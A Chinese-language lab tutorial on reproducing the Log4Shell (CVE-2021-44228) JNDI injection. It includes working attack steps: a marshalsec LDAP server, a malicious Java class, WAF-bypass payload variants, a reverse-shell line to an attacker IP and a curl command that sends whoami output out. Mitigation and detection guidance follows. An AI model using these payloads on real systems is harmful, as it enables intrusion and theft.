1. 项目概述：为什么Log4j漏洞复现是安全从业者的必修课

如果你在2021年底关注过安全圈，那一定对“Log4j”这个词不陌生。当时，一个编号为CVE-2021-44228的漏洞，几乎让全球互联网技术圈“地震”。它被形象地称为“Log4Shell”，其影响范围之广、利用门槛之低、危害性之大，堪称近十年最严重的软件供应链漏洞之一。简单来说，它允许攻击者通过一段精心构造的日志信息，就能在目标服务器上远程执行任意代码。想象一下，攻击者只需要在网站搜索框、用户昵称甚至HTTP请求头里输入一段特殊字符，就能让服务器乖乖听话，下载并运行恶意程序，这有多可怕。

我之所以要写这篇详细的复现教程，是因为仅仅阅读漏洞公告和原理分析，远不足以让你真正理解它的威力。在安全领域，尤其是渗透测试和应急响应岗位，“动手”是检验理解的唯一标准。通过亲手搭建环境、触发漏洞、观察利用链的每一个环节，你才能深刻体会到漏洞的触发条件、利用方式以及防御的难点在哪里。这对于安全工程师构建纵深防御体系、编写有效的检测规则、甚至是在代码审计中识别类似风险模式，都有着不可替代的价值。本教程将带你从零开始，在一个可控的沙箱环境中，完整复现Log4Shell漏洞的利用过程。无论你是刚入门的安全爱好者，还是想巩固实战经验的从业者，这篇手把手的指南都将提供清晰的路径。

2. 漏洞核心原理与影响范围深度解析

2.1 JNDI注入：漏洞的“发动机”

要理解CVE-2021-44228，必须先搞懂两个关键技术：Log4j的日志模板和Java的JNDI（Java Naming and Directory Interface）。

Log4j作为一个日志框架，提供了一个强大的功能叫“Lookup”。它允许开发者在日志输出中动态插入一些变量值，比如${java:version}可以输出Java版本。这本是为了方便，但问题出在它支持一种叫JndiLookup的查找方式。攻击者可以利用这一点，在日志消息中嵌入如${jndi:ldap://evil.com/Exploit}这样的字符串。

当Log4j（2.0-beta9 至 2.14.1版本）处理这条日志时，它会解析${}中的内容。识别到jndi:协议后，它会尝试通过JNDI接口去连接evil.com这个LDAP服务器。关键在于，JNDI的LDAP协议支持一个叫“引用”（Reference）的功能。攻击者控制的LDAP服务器可以返回一个Reference对象，告诉受害者的Java程序：“你要的类不在我这儿，你去http://evil.com/Exploit.class这个地址下载吧。”

受害的Java程序会乖乖地根据这个引用，从指定的HTTP地址下载一个.class文件，然后在本地加载并执行它。至此，攻击者植入的任意代码就在目标服务器上运行起来了。整个利用链可以概括为：日志输入 → Log4j解析JNDI Lookup → 发起JNDI请求 → LDAP服务器返回恶意引用 → 加载远程恶意类 → 代码执行。

注意：这个漏洞的触发点在于日志记录。任何用户可控的、最终会被Log4j记录下来的输入，都可能成为攻击入口，例如URL参数、HTTP头、表单数据、甚至数据库字段内容。

2.2 影响范围的“核弹级”效应

为什么这个漏洞会引起如此大的恐慌？原因在于它的“完美风暴”特性：

1. 组件普及度极高：Log4j是Apache基金会的顶级项目，在Java生态中地位堪比基石。无数的开源项目、商业软件、企业自研系统都直接或间接依赖它。从Web应用到大数据组件（如Apache Solr, Kafka, Flink），再到各种中间件，影响面呈指数级扩散。
2. 利用门槛极低：攻击者无需任何认证，也无需特殊权限。只要能将包含Payload的字符串送入日志，就有可能成功。利用代码（PoC）在漏洞公开后几小时内就遍布全网，自动化攻击工具迅速出现。
3. 漏洞位置隐蔽：攻击入口是“日志”，这是一个非常普遍且常被忽视的输入点。安全防护往往聚焦在SQL注入、命令执行等传统漏洞点，对日志记录行为缺乏足够的输入过滤和监控。
4. 危害性极大：直接导致远程代码执行（RCE），这意味着攻击者可以完全控制服务器，窃取数据、植入后门、发起内网横向移动，后果不堪设想。

正是这些因素叠加，使得Log4Shell成为安全运维人员的噩梦，也让它成为安全研究人员和渗透测试人员必须掌握的核心案例。

3. 复现环境搭建与工具选型

3.1 实验环境规划与避坑指南

为了安全、可控地复现，我们必须在隔离的环境中进行。我强烈推荐使用虚拟机。

• 虚拟机软件：VMware Workstation 或 VirtualBox。我个人更习惯用VMware，网络配置更直观。
• 操作系统：Ubuntu 20.04 LTS 或 Kali Linux。这里我选择Kali，因为它预装了大部分我们需要的工具（如Java、编译环境）。如果你用Ubuntu，需要手动安装openjdk-11-jdk和maven等包。
• 网络设置：将虚拟机网络模式设置为“NAT模式”或“Host-Only模式”。绝对不要使用桥接模式，这可能会让你的实验流量影响到真实网络。NAT模式能让虚拟机访问外网（方便下载依赖），同时与宿主机隔离。
• 资源分配：给虚拟机分配2核CPU、4GB内存、40GB硬盘空间基本足够。

实操心得：在开始前，为虚拟机创建一个快照。复现过程可能会因为配置错误导致环境混乱，或者你想从头再来，一个干净的快照能节省大量时间。

3.2 靶机与攻击机工具链部署

我们的实验需要两部分：一个存在漏洞的Java Web应用（靶机），以及一个模拟攻击者环境的攻击机。为了方便，我们可以将两者部署在同一台Kali虚拟机中，用不同终端窗口区分。

1. 靶机环境准备（存在漏洞的Web应用）

我们需要一个使用了脆弱版本Log4j的Java应用。手动搭建一个Spring Boot应用太耗时，安全社区已经有现成的优秀靶场。

• 推荐靶场：vulhub或Vulnerable-Application。这里我使用一个更轻量、专门针对Log4j的靶场项目。在Kali终端中执行：

  # 1. 安装Docker和Docker Compose（如果Kali没有预装） sudo apt update sudo apt install docker.io docker-compose -y sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组，避免每次用sudo sudo usermod -aG docker $USER # 需要重新登录生效，或者执行 newgrp docker # 2. 拉取并运行Log4j漏洞靶场（这里以某个知名镜像为例，实际名称可能需搜索） # 假设我们使用一个名为 `christophetd/log4shell-vulnerable-app` 的镜像 docker pull christophetd/log4shell-vulnerable-app docker run -p 8080:8080 --name log4j-vuln-app christophetd/log4shell-vulnerable-app

  运行成功后，访问http://<你的Kali-IP>:8080应该能看到一个简单的Web界面，通常是一个登录框或搜索框。这个应用内部使用了Log4j 2.14.1及以下版本，并且会将用户输入记录到日志。

2. 攻击机工具安装

我们需要三个关键工具来模拟攻击链：一个恶意的LDAP服务器、一个托管恶意Java类的HTTP服务器、一个用于生成Payload和测试的Exploit框架。

• JNDI注入利用工具：marshalsec。这是一个非常流行的用于启动恶意JNDI/LDAP服务器的Java工具。

  # 安装Java编译环境（Kali通常已安装，确认一下） java -version # 安装Maven（用于构建marshalsec） sudo apt install maven -y # 下载并编译marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests

  编译完成后，在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。

• 恶意类构造：我们需要编写一个简单的Java类，当它在靶机上被加载时会执行我们想要的命令，例如弹出一个计算器（在Linux上是启动gnome-calculator）或者反向Shell。这里以执行命令为例：

  # 创建一个目录存放攻击代码 mkdir -p /opt/exploit && cd /opt/exploit # 编写恶意Exploit类 cat > Exploit.java << 'EOF' public class Exploit { static { try { // 这里是要执行的命令，例如在Linux上弹计算器 Runtime.getRuntime().exec("gnome-calculator"); // 或者获取反向Shell（谨慎使用，仅用于本地测试） // Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1"); } catch (Exception e) { e.printStackTrace(); } } } EOF # 编译成class文件 javac Exploit.java

• HTTP服务器：用于托管编译好的Exploit.class文件。Python3内置的模块就很好用。

  # 在/opt/exploit目录下启动一个简单的HTTP服务器，端口8888 python3 -m http.server 8888 &

• LDAP服务器：使用刚刚编译好的marshalsec来启动。

  # 回到marshalsec目录，启动LDAP服务 cd /path/to/marshalsec java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<你的Kali-IP>:8888/#Exploit" 1389

  这条命令的意思是：在1389端口启动一个LDAP服务器，当有客户端（即靶机）查询时，它会返回一个指向http://<你的Kali-IP>:8888/Exploit.class的引用。

至此，攻击链所需的服务都已就绪：HTTP服务器（端口8888）提供恶意类，LDAP服务器（端口1389）提供恶意引用。

4. 漏洞复现实操全流程解析

4.1 信息收集与攻击入口探测

首先，我们需要确认靶机的漏洞点。访问靶机应用http://192.168.xxx.xxx:8080。常见的漏洞触发点包括：

1. 用户输入框：如登录名、搜索框、留言板。
2. HTTP请求头：如User-Agent、X-Forwarded-For、Referer。这些头信息常被记录到应用日志中。
3. URL参数：GET请求的参数。

我们可以先进行简单的探测，使用一个无害的JNDI Payload来测试服务是否可达。这个Payload指向我们搭建的LDAP服务器，但引用一个不存在的类，主要用于触发DNS查询，验证漏洞是否存在。

使用DNSLog进行无接触探测： 由于直接让靶机连接我们的LDAP服务可能会被防火墙拦截，初期探测可以使用DNSLog技术。DNSLog平台会提供一个临时子域名，任何对该子域名的DNS查询都会被记录。

• 访问一个DNSLog平台（如dnslog.cn），获取一个子域名，例如abc123.dnslog.cn。
• 构造Payload：${jndi:ldap://abc123.dnslog.cn/a}。
• 将这个Payload填入靶机应用的输入框并提交。
• 回到DNSLog平台查看“Refresh Record”，如果很快出现了对abc123.dnslog.cn的DNS查询记录，那么几乎可以肯定该应用存在Log4j漏洞，因为它尝试解析了我们的LDAP地址。

这个步骤非常关键，在实际渗透测试中，这是一种安全、隐蔽的验证方式，避免了直接攻击可能造成的风险。

4.2 构造与投递恶意Payload

确认漏洞存在后，我们开始真正的利用。假设我们找到了一个搜索框，它会将搜索关键词记录到日志。

1. 确保攻击服务运行：确认你的LDAP服务器（1389端口）和HTTP服务器（8888端口）都在正常运行。
2. 构造最终Payload：Payload的格式为：${jndi:ldap://<你的Kali-IP>:1389/Exploit}。这里Exploit是恶意类的名字，需要和HTTP服务器上托管的Exploit.class文件名对应。
3. 投递Payload：在靶机Web应用的搜索框（或其他输入点）中输入上述Payload，然后点击搜索或提交。

背后发生了什么？

1. 应用接收到你的输入，并将其作为搜索关键词处理。
2. 在处理过程中，应用代码（或底层框架）使用Log4j记录了一条日志，内容包含了你的搜索词。
3. Log4j解析日志字符串，发现了${jndi:...}模式。
4. Log4j的JndiLookup组件被激活，尝试连接你的Kali-IP:1389这个LDAP服务器。
5. 你的marshalsecLDAP服务器收到请求，返回一个Reference对象，指向http://你的Kali-IP:8888/Exploit.class。
6. 靶机的Java进程根据这个引用，向你的HTTP服务器发起请求，下载Exploit.class文件。
7. Java在本地加载这个Exploit类。根据我们编写的代码，类的静态代码块（static {}）会立即执行，从而运行gnome-calculator命令。

如果一切顺利，你会在Kali虚拟机的图形界面上（因为我们的靶机Docker容器与Kali主机共享显示环境，具体取决于靶场实现）看到一个计算器程序被弹出。这标志着远程代码执行成功！

4.3 利用方式变种与绕过技巧

在漏洞爆发后，随着防护措施的升级，攻击者也演化出一些变种和绕过技巧。了解这些有助于我们进行更全面的防御测试。

1. 绕过WAF/过滤：

   • 大小写混淆：${jNdI:lDaP://...}。一些简单的正则过滤可能只匹配全小写。
   • 嵌套变量：${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://...}。利用Log4j其他Lookup（如lower:）进行混淆。
   • 利用其他协议：除了ldap://，还可以尝试rmi://、ldaps://、dns://（如果环境支持）。marshalsec也支持启动RMI服务。
   • URL编码：对Payload进行部分或全部URL编码，可能绕过基于字符串匹配的检测。

2. 利用更高版本Log4j的后续漏洞：CVE-2021-44228在2.15.0版本中被修复，但随后又发现了绕过补丁的CVE-2021-45046（2.15.0版本中），以及影响2.16.0及之前版本的CVE-2021-45105（拒绝服务漏洞）。复现这些后续漏洞需要调整靶场环境到对应的Log4j版本。

3. 无回显利用（盲打）：如果命令执行没有明显回显（如弹计算器），可以尝试使用带外（OOB）通道验证。例如，让恶意类执行curl http://你的服务器/test?flag=$(whoami)或者ping -c 1 your-dnslog-subdomain.dnslog.cn，通过查看你的HTTP服务器访问日志或DNSLog记录来确认命令是否执行。

5. 漏洞修复方案与防御实践

复现漏洞是为了更好地防御。针对Log4Shell，修复是分层级的。

5.1 紧急缓解措施（治标）

如果无法立即升级，可以采取以下临时措施：

1. 修改JVM参数（最有效）：在应用启动参数中添加-Dlog4j2.formatMsgNoLookups=true。这个参数从Log4j 2.10.0开始引入，可以全局关闭Lookup功能，从根本上阻断漏洞利用。对于2.0-beta9到2.10.0之间的版本，这是首选方案。
2. 移除漏洞类：找到Log4j核心JAR包（log4j-core-*.jar），删除其中的JndiLookup类文件。

   # 示例命令，具体路径根据实际情况调整 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. 环境变量限制：设置LOG4J_FORMAT_MSG_NO_LOOKUPS=true环境变量，效果同JVM参数。
4. 升级JDK版本：将JDK升级到较新版本（如 6u211, 7u201, 8u191, 11.0.1 之后），这些版本默认禁用了JNDI远程类加载（com.sun.jndi.ldap.object.trustURLCodebase=false），可以阻断从LDAP加载远程Reference的利用链。但注意，这并非绝对安全，仍有其他利用途径（如本地ClassPath查找）。

5.2 根本解决方案（治本）

1. 升级Log4j版本：这是最推荐的方案。
   • 升级至 2.17.0 或更高版本：Apache官方修复了已知的系列漏洞。2.17.0版本默认禁用了JNDI功能，并提供了更安全的默认配置。
   • 如何升级：检查项目依赖（Maven的pom.xml，Gradle的build.gradle），将Log4j相关的依赖（log4j-core,log4j-api等）版本号修改为2.17.0或以上，然后重新构建部署。
2. 使用其他日志框架：对于新项目，可以考虑迁移到其他没有此类历史包袱的日志框架，如Logback（需注意其与SLF4J的兼容性）或Java自带的java.util.logging。

5.3 主动防御与监控

1. WAF/IPS规则：部署规则拦截包含jndi:、ldap://、rmi://等特征的请求。但需注意对抗上述的绕过技巧。
2. 输入验证与过滤：在应用层，对所有用户输入进行严格的验证和过滤，特别是对于可能被记录到日志的字段。但这种方式容易有遗漏，应作为纵深防御的一环。
3. 网络层隔离：严格限制服务器出站流量。除了必要的业务端口（如数据库、缓存），禁止服务器主动向外发起LDAP、RMI等协议连接。这能有效阻断利用链的关键一步。
4. 运行时保护（RASP）：部署应用运行时自我保护产品，监控Java应用的行为，当检测到可疑的JNDI查找或类加载行为时进行拦截。
5. 日志监控：集中收集应用日志，并设置告警规则，搜索日志中是否出现了${jndi:等可疑模式。这有助于发现正在进行的攻击尝试。

6. 复现过程中的常见问题与排查实录

即使按照教程操作，你也可能会遇到一些问题。这里我记录了几个最常见的坑和解决办法。

问题1：Payload提交后，计算器没有弹出，LDAP/HTTP服务器也没有收到连接请求。

• 排查思路：
  1. 检查靶机Log4j版本：确认你的靶机应用确实使用了受影响的Log4j版本（2.0-beta9 至 2.14.1）。有些Docker镜像的说明可能不准确。可以进入容器内部查看：docker exec -it log4j-vuln-app /bin/sh，然后查找log4j-core-*.jar文件。
  2. 检查输入点：你使用的输入点可能不会被Log4j记录。尝试其他输入点，如HTTP请求头。可以使用Burp Suite等工具拦截请求，修改User-Agent或X-Forwarded-For头为Payload。
  3. 检查网络连通性：确保靶机容器能访问到宿主Kali的IP。在Kali上ifconfig查看IP（通常是172.x.x.x或192.168.x.x），然后在靶机容器内尝试ping这个IP。确保防火墙没有阻止1389和8888端口。在Kali上可以用sudo ufw status查看防火墙状态，如果开启，需要临时关闭或添加规则：sudo ufw allow 1389/tcp和sudo ufw allow 8888/tcp。
  4. 查看应用日志：进入靶机容器，查看应用的标准输出或日志文件，看是否有错误信息。可能应用本身捕获了异常，或者Log4j配置了错误输出。

问题2：LDAP服务器收到连接，但HTTP服务器没有收到Exploit.class的下载请求。

• 排查思路：
  1. JDK版本问题：这是最常见的原因。如果靶机环境的JDK版本 >= 8u191/11.0.1，默认是不信任从远程LDAP加载的Codebase的。你需要降低靶机的JDK版本（例如降到8u181），或者在启动靶机时添加JVM参数-Dcom.sun.jndi.ldap.object.trustURLCodebase=true（不推荐在生产环境使用）。
  2. 类名问题：确保LDAP命令中#后面的类名（Exploit）与HTTP服务器上存放的class文件名（Exploit.class）完全一致，且大小写敏感。
  3. HTTP服务器可访问：在靶机容器内，用curl http://<Kali-IP>:8888/Exploit.class测试是否能下载到文件。

问题3：恶意类被加载，但命令没有执行（比如计算器没弹出来）。

• 排查思路：
  1. 命令环境问题：你的恶意类中执行的命令（如gnome-calculator）在靶机环境中可能不存在。Docker容器通常是精简的Linux，没有图形界面和计算器程序。可以换成执行一个无害且通用的命令来测试，例如touch /tmp/log4jshell_success创建一个文件，然后在容器内检查文件是否生成。
  2. 权限问题：Java进程可能没有足够的权限执行某些命令（如监听端口）。尝试执行id或whoami命令，将结果通过DNS或HTTP带出来查看。
  3. 类加载问题：确保你的Exploit.java编译时使用的JDK版本与靶机运行环境兼容。最好使用与靶机相同或更低的JDK版本进行编译。

问题4：使用DNSLog探测时收到了DNS查询，但实际利用时LDAP服务器没反应。

• 可能原因：DNSLog探测成功只证明Log4j解析了JNDI字符串并尝试进行DNS解析，这已经证明了漏洞存在。但实际利用时，可能因为网络策略（出站LDAP端口被禁）、JDK高版本限制、或LDAP服务本身的问题导致连接失败。DNS查询是第一步，建立LDAP连接是第二步。

实操心得：复现时，建议分步验证。先用DNSLog确认漏洞存在；然后搭建LDAP/HTTP服务，用简单的touch命令测试代码执行；最后再尝试复杂的操作如反弹Shell。使用tcpdump或Wireshark在Kali上抓包（sudo tcpdump -i any port 1389 or port 8888 -nn）是极佳的调试手段，能清晰地看到网络流量是否如预期发生。

7. 从复现到实战：渗透测试中的思考

完成一次完整的本地复现，只是理解了漏洞的“形”。要将它应用到实际的渗透测试或安全评估中，还需要考虑更多“神”层面的东西。

1. 攻击面发现：在真实环境中，如何快速发现可能存在Log4j漏洞的系统？

• 资产梳理：识别所有使用Java技术栈的对外服务。
• 被动扫描：利用FOFA、Shodan等网络空间测绘引擎，搜索X-Apache-Log4j等特征Header，或特定Java框架的指纹。
• 主动探测：在获得授权的前提下，使用自动化工具（如log4j-scan）对目标URL、参数、请求头进行批量Payload测试，并结合DNSLog平台接收回调，这是一种高效且隐蔽的探测方式。

2. 利用链的拓展：在真实攻击中，攻击者不会只满足于弹出一个计算器。他们会追求：

• 获取反向Shell：将恶意类中的命令改为下载并执行一个反弹Shell脚本，从而获得一个交互式命令行。
• 内网横向移动：以被攻陷的服务器为跳板，利用其权限和位置，进一步探测和攻击内网其他机器。
• 持久化：在服务器上植入后门、创建计划任务、添加SSH密钥等，维持长期控制。
• 数据窃取：遍历服务器文件，寻找数据库连接配置、源代码、密钥文件等敏感信息。

3. 防御视角的启示：作为防御方，从这次漏洞风暴中能学到什么？

• 软件供应链安全：企业依赖大量开源组件，必须建立组件清单（SBOM），并持续监控其安全漏洞。工具如OWASP Dependency-Check、Snyk、GitHub Dependabot可以帮助自动化这个过程。
• 纵深防御：没有单一的银弹。必须结合网络隔离、主机加固、应用安全编码、WAF、RASP、日志监控和威胁情报，构建多层防御体系。
• 应急响应流程：如此重大的漏洞，考验的是企业的应急响应速度和能力。需要有成熟的漏洞预警、影响面分析、补丁部署和验证流程。
• 默认安全：Log4j事件促使整个社区反思“默认安全”的重要性。新版本的Log4j已经将危险功能默认关闭，这是积极的进步。

亲手复现一遍Log4Shell，你会对那句老话有更深的体会：“漏洞总是在你最意想不到的地方”。安全是一个持续的过程，需要保持敬畏、持续学习。希望这篇超详细的教程不仅能让你成功复现漏洞，更能帮你建立起一套分析、利用和防御此类高危漏洞的实战思维。